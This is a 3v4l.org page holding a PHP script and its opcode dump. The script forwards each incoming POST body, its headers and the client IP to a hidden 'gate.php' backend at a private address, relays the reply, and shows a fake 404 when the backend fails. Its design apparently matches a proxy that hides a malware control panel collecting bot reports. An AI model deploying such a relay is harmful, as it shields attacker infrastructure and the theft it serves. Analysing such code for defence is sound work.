3v4l.org

run code in 300+ PHP versions simultaneously
<?php $redirect_url = "http://192.168.1.101/gate.php"; set_time_limit(0); ini_set('max_execution_time', 0); // check if curl is installed $loaded_extensions = get_loaded_extensions(); if (array_search('curl', $loaded_extensions) === false) die(); // check if data was received in full $real_length = intval($_SERVER['CONTENT_LENGTH']); $received_report_data = file_get_contents('php://input'); if ($real_length !== strlen($received_report_data)) die(); // extract host from redirect url if (substr($redirect_url, 0, 4) != 'http') $redirect_url = 'http://'.$redirect_url; $redirect_host = @parse_url($redirect_url, PHP_URL_HOST); function my_upload($ch, $fp, $len) { static $pos=0; // keep track of position $post_data = file_get_contents('php://input'); $data = substr($post_data, $pos, $len); $pos += strlen($data); return $data; } function curl_load($url, &$data, $headers) { clearstatcache(); $return = false; $url = trim($url); if (substr($url, 0, 4) != 'http') $url = 'http://'.$url; $ch = curl_init($url); if (!$ch) return false; curl_setopt($ch, CURLOPT_HEADER, true); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 15); curl_setopt($ch, CURLOPT_TIMEOUT, 60); curl_setopt($ch, CURLOPT_FAILONERROR, true); curl_setopt($ch, CURLOPT_FRESH_CONNECT, true); curl_setopt($ch, CURLOPT_DNS_USE_GLOBAL_CACHE, false); curl_setopt($ch, CURLOPT_POST, true); array_push($headers, 'Accept-Encoding: identity, *;q=0'); curl_setopt($ch, CURLOPT_HTTPHEADER, $headers); $post_data = file_get_contents('php://input'); if (strlen($post_data)) { curl_setopt($ch, CURLOPT_READFUNCTION, 'my_upload'); } $curl_execute_result = @curl_exec($ch); // Check if any error occurred if (!curl_errno($ch)) { $data = $curl_execute_result; $return = true; } else { $data = ''; $return = false; } curl_close($ch); return $return; } function parse_lines($value) { return preg_split("/((\r(?!\n))|((?<!\r)\n)|(\r\n))/", $value); } $original_query = trim(@parse_url($redirect_url, PHP_URL_QUERY)); if (!strlen($original_query)) $query_string = '?'; else $query_string = '&'; $query_string .= $_SERVER['QUERY_STRING']; $query_string .= '&pass_ip='.$_SERVER['REMOTE_ADDR']; $data = ''; $headers = getallheaders(); $curl_headers_array = array(); foreach ($headers as $name=>$value) { if (strtolower($name) == 'accept-encoding' || strtolower($name) == 'connection') { } elseif (strtolower($name) == 'host') { array_push($curl_headers_array, $name.': '.$redirect_host); } else { array_push($curl_headers_array, $name.': '.$value); } } if (!curl_load($redirect_url.$query_string, $data, $curl_headers_array)) { header("HTTP/1.0 404 Not Found"); header("Status: 404 Not Found"); $_SERVER['REDIRECT_STATUS'] = 404; if (file_exists('404.html')) echo file_get_contents('404.html'); die(); } $headers_end_pos = strpos($data, "\r\n\r\n"); $data_start_pos = $headers_end_pos+4; if ($headers_end_pos === false) { $headers_end_pos = strpos($data, "\n\n"); $data_start_pos = $headers_end_pos+2; } if ($headers_end_pos !== false) { $lines = parse_lines(substr($data, 0, $headers_end_pos)); foreach ($lines as $line) { // do not pass "Transfer-Encoding: chunked" header if (stripos($line, 'Transfer-Encoding') === false) { header($line."\r\n"); } } die(substr($data, $data_start_pos)); } else { die($data); }
Finding entry points
Branch analysis from position: 0
2 jumps found. (Code = 43) Position 1 = 17, Position 2 = 18
Branch analysis from position: 17
1 jumps found. (Code = 79) Position 1 = -2
Branch analysis from position: 18
2 jumps found. (Code = 43) Position 1 = 29, Position 2 = 30
Branch analysis from position: 29
1 jumps found. (Code = 79) Position 1 = -2
Branch analysis from position: 30
2 jumps found. (Code = 43) Position 1 = 37, Position 2 = 39
Branch analysis from position: 37
2 jumps found. (Code = 43) Position 1 = 59, Position 2 = 61
Branch analysis from position: 59
1 jumps found. (Code = 42) Position 1 = 62
Branch analysis from position: 62
2 jumps found. (Code = 77) Position 1 = 75, Position 2 = 108
Branch analysis from position: 75
2 jumps found. (Code = 78) Position 1 = 76, Position 2 = 108
Branch analysis from position: 76
2 jumps found. (Code = 47) Position 1 = 82, Position 2 = 87
Branch analysis from position: 82
2 jumps found. (Code = 43) Position 1 = 88, Position 2 = 89
Branch analysis from position: 88
1 jumps found. (Code = 42) Position 1 = 107
Branch analysis from position: 107
1 jumps found. (Code = 42) Position 1 = 75
Branch analysis from position: 75
Branch analysis from position: 89
2 jumps found. (Code = 43) Position 1 = 94, Position 2 = 101
Branch analysis from position: 94
1 jumps found. (Code = 42) Position 1 = 107
Branch analysis from position: 107
Branch analysis from position: 101
1 jumps found. (Code = 42) Position 1 = 75
Branch analysis from position: 75
Branch analysis from position: 87
Branch analysis from position: 108
2 jumps found. (Code = 43) Position 1 = 117, Position 2 = 135
Branch analysis from position: 117
2 jumps found. (Code = 43) Position 1 = 130, Position 2 = 134
Branch analysis from position: 130
1 jumps found. (Code = 79) Position 1 = -2
Branch analysis from position: 134
Branch analysis from position: 135
2 jumps found. (Code = 43) Position 1 = 144, Position 2 = 151
Branch analysis from position: 144
2 jumps found. (Code = 43) Position 1 = 153, Position 2 = 182
Branch analysis from position: 153
2 jumps found. (Code = 77) Position 1 = 163, Position 2 = 175
Branch analysis from position: 163
2 jumps found. (Code = 78) Position 1 = 164, Position 2 = 175
Branch analysis from position: 164
2 jumps found. (Code = 43) Position 1 = 170, Position 2 = 174
Branch analysis from position: 170
1 jumps found. (Code = 42) Position 1 = 163
Branch analysis from position: 163
Branch analysis from position: 174
Branch analysis from position: 175
1 jumps found. (Code = 79) Position 1 = -2
Branch analysis from position: 175
Branch analysis from position: 182
1 jumps found. (Code = 79) Position 1 = -2
Branch analysis from position: 151
Branch analysis from position: 108
Branch analysis from position: 61
2 jumps found. (Code = 77) Position 1 = 75, Position 2 = 108
Branch analysis from position: 75
Branch analysis from position: 108
Branch analysis from position: 39
filename:       /in/mR3CS
function name:  (null)
number of ops:  184
compiled vars:  !0 = $redirect_url, !1 = $loaded_extensions, !2 = $real_length, !3 = $received_report_data, !4 = $redirect_host, !5 = $original_query, !6 = $query_string, !7 = $data, !8 = $headers, !9 = $curl_headers_array, !10 = $value, !11 = $name, !12 = $headers_end_pos, !13 = $data_start_pos, !14 = $lines, !15 = $line
line      #* E I O op                           fetch          ext  return  operands
-------------------------------------------------------------------------------------
    3     0  E >   ASSIGN                                                   !0, 'http%3A%2F%2F192.168.1.101%2Fgate.php'
    6     1        INIT_FCALL                                               'set_time_limit'
          2        SEND_VAL                                                 0
          3        DO_ICALL                                                 
    7     4        INIT_FCALL                                               'ini_set'
          5        SEND_VAL                                                 'max_execution_time'
          6        SEND_VAL                                                 0
          7        DO_ICALL                                                 
   10     8        INIT_FCALL                                               'get_loaded_extensions'
          9        DO_ICALL                                         $19     
         10        ASSIGN                                                   !1, $19
   12    11        INIT_FCALL                                               'array_search'
         12        SEND_VAL                                                 'curl'
         13        SEND_VAR                                                 !1
         14        DO_ICALL                                         $21     
         15        TYPE_CHECK                                    4          $21
         16      > JMPZ                                                     ~22, ->18
   13    17    > > EXIT                                                     
   16    18    >   FETCH_R                      global              ~23     '_SERVER'
         19        FETCH_DIM_R                                      ~24     ~23, 'CONTENT_LENGTH'
         20        CAST                                          4  ~25     ~24
         21        ASSIGN                                                   !2, ~25
   17    22        INIT_FCALL                                               'file_get_contents'
         23        SEND_VAL                                                 'php%3A%2F%2Finput'
         24        DO_ICALL                                         $27     
         25        ASSIGN                                                   !3, $27
   19    26        STRLEN                                           ~29     !3
         27        IS_NOT_IDENTICAL                                         !2, ~29
         28      > JMPZ                                                     ~30, ->30
   20    29    > > EXIT                                                     
   23    30    >   INIT_FCALL                                               'substr'
         31        SEND_VAR                                                 !0
         32        SEND_VAL                                                 0
         33        SEND_VAL                                                 4
         34        DO_ICALL                                         $31     
         35        IS_NOT_EQUAL                                             $31, 'http'
         36      > JMPZ                                                     ~32, ->39
   24    37    >   CONCAT                                           ~33     'http%3A%2F%2F', !0
         38        ASSIGN                                                   !0, ~33
   26    39    >   BEGIN_SILENCE                                    ~35     
         40        INIT_FCALL                                               'parse_url'
         41        SEND_VAR                                                 !0
         42        SEND_VAL                                                 1
         43        DO_ICALL                                         $36     
         44        END_SILENCE                                              ~35
         45        ASSIGN                                                   !4, $36
   92    46        INIT_FCALL                                               'trim'
         47        BEGIN_SILENCE                                    ~38     
         48        INIT_FCALL                                               'parse_url'
         49        SEND_VAR                                                 !0
         50        SEND_VAL                                                 6
         51        DO_ICALL                                         $39     
         52        END_SILENCE                                              ~38
         53        SEND_VAR                                                 $39
         54        DO_ICALL                                         $40     
         55        ASSIGN                                                   !5, $40
   94    56        STRLEN                                           ~42     !5
         57        BOOL_NOT                                         ~43     ~42
         58      > JMPZ                                                     ~43, ->61
   95    59    >   ASSIGN                                                   !6, '%3F'
         60      > JMP                                                      ->62
   97    61    >   ASSIGN                                                   !6, '%26'
   99    62    >   FETCH_R                      global              ~46     '_SERVER'
         63        FETCH_DIM_R                                      ~47     ~46, 'QUERY_STRING'
         64        ASSIGN_OP                                     8          !6, ~47
  100    65        FETCH_R                      global              ~49     '_SERVER'
         66        FETCH_DIM_R                                      ~50     ~49, 'REMOTE_ADDR'
         67        CONCAT                                           ~51     '%26pass_ip%3D', ~50
         68        ASSIGN_OP                                     8          !6, ~51
  102    69        ASSIGN                                                   !7, ''
  103    70        INIT_FCALL_BY_NAME                                       'getallheaders'
         71        DO_FCALL                                      0  $54     
         72        ASSIGN                                                   !8, $54
  104    73        ASSIGN                                                   !9, <array>
  106    74      > FE_RESET_R                                       $57     !8, ->108
         75    > > FE_FETCH_R                                       ~58     $57, !10, ->108
         76    >   ASSIGN                                                   !11, ~58
  108    77        INIT_FCALL                                               'strtolower'
         78        SEND_VAR                                                 !11
         79        DO_ICALL                                         $60     
         80        IS_EQUAL                                         ~61     $60, 'accept-encoding'
         81      > JMPNZ_EX                                         ~61     ~61, ->87
         82    >   INIT_FCALL                                               'strtolower'
         83        SEND_VAR                                                 !11
         84        DO_ICALL                                         $62     
         85        IS_EQUAL                                         ~63     $62, 'connection'
         86        BOOL                                             ~61     ~63
         87    > > JMPZ                                                     ~61, ->89
  109    88    > > JMP                                                      ->107
  111    89    >   INIT_FCALL                                               'strtolower'
         90        SEND_VAR                                                 !11
         91        DO_ICALL                                         $64     
         92        IS_EQUAL                                                 $64, 'host'
         93      > JMPZ                                                     ~65, ->101
  113    94    >   INIT_FCALL                                               'array_push'
         95        SEND_REF                                                 !9
         96        CONCAT                                           ~66     !11, '%3A+'
         97        CONCAT                                           ~67     ~66, !4
         98        SEND_VAL                                                 ~67
         99        DO_ICALL                                                 
        100      > JMP                                                      ->107
  116   101    >   INIT_FCALL                                               'array_push'
        102        SEND_REF                                                 !9
        103        CONCAT                                           ~69     !11, '%3A+'
        104        CONCAT                                           ~70     ~69, !10
        105        SEND_VAL                                                 ~70
        106        DO_ICALL                                                 
  106   107    > > JMP                                                      ->75
        108    >   FE_FREE                                                  $57
  120   109        INIT_FCALL                                               'curl_load'
        110        CONCAT                                           ~72     !0, !6
        111        SEND_VAL                                                 ~72
        112        SEND_REF                                                 !7
        113        SEND_VAR                                                 !9
        114        DO_FCALL                                      0  $73     
        115        BOOL_NOT                                         ~74     $73
        116      > JMPZ                                                     ~74, ->135
  122   117    >   INIT_FCALL                                               'header'
        118        SEND_VAL                                                 'HTTP%2F1.0+404+Not+Found'
        119        DO_ICALL                                                 
  123   120        INIT_FCALL                                               'header'
        121        SEND_VAL                                                 'Status%3A+404+Not+Found'
        122        DO_ICALL                                                 
  124   123        FETCH_W                      global              $77     '_SERVER'
        124        ASSIGN_DIM                                               $77, 'REDIRECT_STATUS'
        125        OP_DATA                                                  404
  125   126        INIT_FCALL                                               'file_exists'
        127        SEND_VAL                                                 '404.html'
        128        DO_ICALL                                         $79     
        129      > JMPZ                                                     $79, ->134
  126   130    >   INIT_FCALL                                               'file_get_contents'
        131        SEND_VAL                                                 '404.html'
        132        DO_ICALL                                         $80     
        133        ECHO                                                     $80
  127   134    > > EXIT                                                     
  130   135    >   INIT_FCALL                                               'strpos'
        136        SEND_VAR                                                 !7
        137        SEND_VAL                                                 '%0D%0A%0D%0A'
        138        DO_ICALL                                         $81     
        139        ASSIGN                                                   !12, $81
  131   140        ADD                                              ~83     !12, 4
        141        ASSIGN                                                   !13, ~83
  132   142        TYPE_CHECK                                    4          !12
        143      > JMPZ                                                     ~85, ->151
  134   144    >   INIT_FCALL                                               'strpos'
        145        SEND_VAR                                                 !7
        146        SEND_VAL                                                 '%0A%0A'
        147        DO_ICALL                                         $86     
        148        ASSIGN                                                   !12, $86
  135   149        ADD                                              ~88     !12, 2
        150        ASSIGN                                                   !13, ~88
  138   151    >   TYPE_CHECK                                  1018          !12
        152      > JMPZ                                                     ~90, ->182
  140   153    >   INIT_FCALL                                               'parse_lines'
        154        INIT_FCALL                                               'substr'
        155        SEND_VAR                                                 !7
        156        SEND_VAL                                                 0
        157        SEND_VAR                                                 !12
        158        DO_ICALL                                         $91     
        159        SEND_VAR                                                 $91
        160        DO_FCALL                                      0  $92     
        161        ASSIGN                                                   !14, $92
  141   162      > FE_RESET_R                                       $94     !14, ->175
        163    > > FE_FETCH_R                                               $94, !15, ->175
  144   164    >   INIT_FCALL                                               'stripos'
        165        SEND_VAR                                                 !15
        166        SEND_VAL                                                 'Transfer-Encoding'
        167        DO_ICALL                                         $95     
        168        TYPE_CHECK                                    4          $95
        169      > JMPZ                                                     ~96, ->174
  146   170    >   INIT_FCALL                                               'header'
        171        CONCAT                                           ~97     !15, '%0D%0A'
        172        SEND_VAL                                                 ~97
        173        DO_ICALL                                                 
  141   174    > > JMP                                                      ->163
        175    >   FE_FREE                                                  $94
  150   176        INIT_FCALL                                               'substr'
        177        SEND_VAR                                                 !7
        178        SEND_VAR                                                 !13
        179        DO_ICALL                                         $99     
        180      > EXIT                                                     $99
        181*       JMP                                                      ->183
  153   182    > > EXIT                                                     !7
  154   183*     > RETURN                                                   1

Function my_upload:
Finding entry points
Branch analysis from position: 0
1 jumps found. (Code = 62) Position 1 = -2
filename:       /in/mR3CS
function name:  my_upload
number of ops:  18
compiled vars:  !0 = $ch, !1 = $fp, !2 = $len, !3 = $pos, !4 = $post_data, !5 = $data
line      #* E I O op                           fetch          ext  return  operands
-------------------------------------------------------------------------------------
   28     0  E >   RECV                                             !0      
          1        RECV                                             !1      
          2        RECV                                             !2      
   30     3        BIND_STATIC                                              !3
   31     4        INIT_FCALL                                               'file_get_contents'
          5        SEND_VAL                                                 'php%3A%2F%2Finput'
          6        DO_ICALL                                         $6      
          7        ASSIGN                                                   !4, $6
   33     8        INIT_FCALL                                               'substr'
          9        SEND_VAR                                                 !4
         10        SEND_VAR                                                 !3
         11        SEND_VAR                                                 !2
         12        DO_ICALL                                         $8      
         13        ASSIGN                                                   !5, $8
   34    14        STRLEN                                           ~10     !5
         15        ASSIGN_OP                                     1          !3, ~10
   35    16      > RETURN                                                   !5
   36    17*     > RETURN                                                   null

End of function my_upload

Function curl_load:
Finding entry points
Branch analysis from position: 0
2 jumps found. (Code = 43) Position 1 = 17, Position 2 = 19
Branch analysis from position: 17
2 jumps found. (Code = 43) Position 1 = 25, Position 2 = 26
Branch analysis from position: 25
1 jumps found. (Code = 62) Position 1 = -2
Branch analysis from position: 26
2 jumps found. (Code = 43) Position 1 = 90, Position 2 = 96
Branch analysis from position: 90
2 jumps found. (Code = 43) Position 1 = 107, Position 2 = 110
Branch analysis from position: 107
1 jumps found. (Code = 42) Position 1 = 112
Branch analysis from position: 112
1 jumps found. (Code = 62) Position 1 = -2
Branch analysis from position: 110
1 jumps found. (Code = 62) Position 1 = -2
Branch analysis from position: 96
Branch analysis from position: 19
filename:       /in/mR3CS
function name:  curl_load
number of ops:  117
compiled vars:  !0 = $url, !1 = $data, !2 = $headers, !3 = $return, !4 = $ch, !5 = $post_data, !6 = $curl_execute_result
line      #* E I O op                           fetch          ext  return  operands
-------------------------------------------------------------------------------------
   38     0  E >   RECV                                             !0      
          1        RECV                                             !1      
          2        RECV                                             !2      
   40     3        INIT_FCALL                                               'clearstatcache'
          4        DO_ICALL                                                 
   42     5        ASSIGN                                                   !3, <false>
   43     6        INIT_FCALL                                               'trim'
          7        SEND_VAR                                                 !0
          8        DO_ICALL                                         $9      
          9        ASSIGN                                                   !0, $9
   45    10        INIT_FCALL                                               'substr'
         11        SEND_VAR                                                 !0
         12        SEND_VAL                                                 0
         13        SEND_VAL                                                 4
         14        DO_ICALL                                         $11     
         15        IS_NOT_EQUAL                                             $11, 'http'
         16      > JMPZ                                                     ~12, ->19
         17    >   CONCAT                                           ~13     'http%3A%2F%2F', !0
         18        ASSIGN                                                   !0, ~13
   47    19    >   INIT_FCALL_BY_NAME                                       'curl_init'
         20        SEND_VAR_EX                                              !0
         21        DO_FCALL                                      0  $15     
         22        ASSIGN                                                   !4, $15
   49    23        BOOL_NOT                                         ~17     !4
         24      > JMPZ                                                     ~17, ->26
   50    25    > > RETURN                                                   <false>
   52    26    >   INIT_FCALL_BY_NAME                                       'curl_setopt'
         27        SEND_VAR_EX                                              !4
         28        FETCH_CONSTANT                                   ~18     'CURLOPT_HEADER'
         29        SEND_VAL_EX                                              ~18
         30        SEND_VAL_EX                                              <true>
         31        DO_FCALL                                      0          
   53    32        INIT_FCALL_BY_NAME                                       'curl_setopt'
         33        SEND_VAR_EX                                              !4
         34        FETCH_CONSTANT                                   ~20     'CURLOPT_RETURNTRANSFER'
         35        SEND_VAL_EX                                              ~20
         36        SEND_VAL_EX                                              <true>
         37        DO_FCALL                                      0          
   54    38        INIT_FCALL_BY_NAME                                       'curl_setopt'
         39        SEND_VAR_EX                                              !4
         40        FETCH_CONSTANT                                   ~22     'CURLOPT_CONNECTTIMEOUT'
         41        SEND_VAL_EX                                              ~22
         42        SEND_VAL_EX                                              15
         43        DO_FCALL                                      0          
   55    44        INIT_FCALL_BY_NAME                                       'curl_setopt'
         45        SEND_VAR_EX                                              !4
         46        FETCH_CONSTANT                                   ~24     'CURLOPT_TIMEOUT'
         47        SEND_VAL_EX                                              ~24
         48        SEND_VAL_EX                                              60
         49        DO_FCALL                                      0          
   56    50        INIT_FCALL_BY_NAME                                       'curl_setopt'
         51        SEND_VAR_EX                                              !4
         52        FETCH_CONSTANT                                   ~26     'CURLOPT_FAILONERROR'
         53        SEND_VAL_EX                                              ~26
         54        SEND_VAL_EX                                              <true>
         55        DO_FCALL                                      0          
   57    56        INIT_FCALL_BY_NAME                                       'curl_setopt'
         57        SEND_VAR_EX                                              !4
         58        FETCH_CONSTANT                                   ~28     'CURLOPT_FRESH_CONNECT'
         59        SEND_VAL_EX                                              ~28
         60        SEND_VAL_EX                                              <true>
         61        DO_FCALL                                      0          
   58    62        INIT_FCALL_BY_NAME                                       'curl_setopt'
         63        SEND_VAR_EX                                              !4
         64        FETCH_CONSTANT                                   ~30     'CURLOPT_DNS_USE_GLOBAL_CACHE'
         65        SEND_VAL_EX                                              ~30
         66        SEND_VAL_EX                                              <false>
         67        DO_FCALL                                      0          
   59    68        INIT_FCALL_BY_NAME                                       'curl_setopt'
         69        SEND_VAR_EX                                              !4
         70        FETCH_CONSTANT                                   ~32     'CURLOPT_POST'
         71        SEND_VAL_EX                                              ~32
         72        SEND_VAL_EX                                              <true>
         73        DO_FCALL                                      0          
   61    74        INIT_FCALL                                               'array_push'
         75        SEND_REF                                                 !2
         76        SEND_VAL                                                 'Accept-Encoding%3A+identity%2C+%2A%3Bq%3D0'
         77        DO_ICALL                                                 
   62    78        INIT_FCALL_BY_NAME                                       'curl_setopt'
         79        SEND_VAR_EX                                              !4
         80        FETCH_CONSTANT                                   ~35     'CURLOPT_HTTPHEADER'
         81        SEND_VAL_EX                                              ~35
         82        SEND_VAR_EX                                              !2
         83        DO_FCALL                                      0          
   64    84        INIT_FCALL                                               'file_get_contents'
         85        SEND_VAL                                                 'php%3A%2F%2Finput'
         86        DO_ICALL                                         $37     
         87        ASSIGN                                                   !5, $37
   65    88        STRLEN                                           ~39     !5
         89      > JMPZ                                                     ~39, ->96
   67    90    >   INIT_FCALL_BY_NAME                                       'curl_setopt'
         91        SEND_VAR_EX                                              !4
         92        FETCH_CONSTANT                                   ~40     'CURLOPT_READFUNCTION'
         93        SEND_VAL_EX                                              ~40
         94        SEND_VAL_EX                                              'my_upload'
         95        DO_FCALL                                      0          
   70    96    >   BEGIN_SILENCE                                    ~42     
         97        INIT_FCALL_BY_NAME                                       'curl_exec'
         98        SEND_VAR_EX                                              !4
         99        DO_FCALL                                      0  $43     
        100        END_SILENCE                                              ~42
        101        ASSIGN                                                   !6, $43
   73   102        INIT_FCALL_BY_NAME                                       'curl_errno'
        103        SEND_VAR_EX                                              !4
        104        DO_FCALL                                      0  $45     
        105        BOOL_NOT                                         ~46     $45
        106      > JMPZ                                                     ~46, ->110
   75   107    >   ASSIGN                                                   !1, !6
   76   108        ASSIGN                                                   !3, <true>
        109      > JMP                                                      ->112
   79   110    >   ASSIGN                                                   !1, ''
   80   111        ASSIGN                                                   !3, <false>
   82   112    >   INIT_FCALL_BY_NAME                                       'curl_close'
        113        SEND_VAR_EX                                              !4
        114        DO_FCALL                                      0          
   84   115      > RETURN                                                   !3
   85   116*     > RETURN                                                   null

End of function curl_load

Function parse_lines:
Finding entry points
Branch analysis from position: 0
1 jumps found. (Code = 62) Position 1 = -2
filename:       /in/mR3CS
function name:  parse_lines
number of ops:  7
compiled vars:  !0 = $value
line      #* E I O op                           fetch          ext  return  operands
-------------------------------------------------------------------------------------
   87     0  E >   RECV                                             !0      
   89     1        INIT_FCALL                                               'preg_split'
          2        SEND_VAL                                                 '%2F%28%28%0D%28%3F%21%0A%29%29%7C%28%28%3F%3C%21%0D%29%0A%29%7C%28%0D%0A%29%29%2F'
          3        SEND_VAR                                                 !0
          4        DO_ICALL                                         $1      
          5      > RETURN 

Generated using Vulcan Logic Dumper, using php 8.0.0


preferences:
166.76 ms | 1431 KiB | 47 Q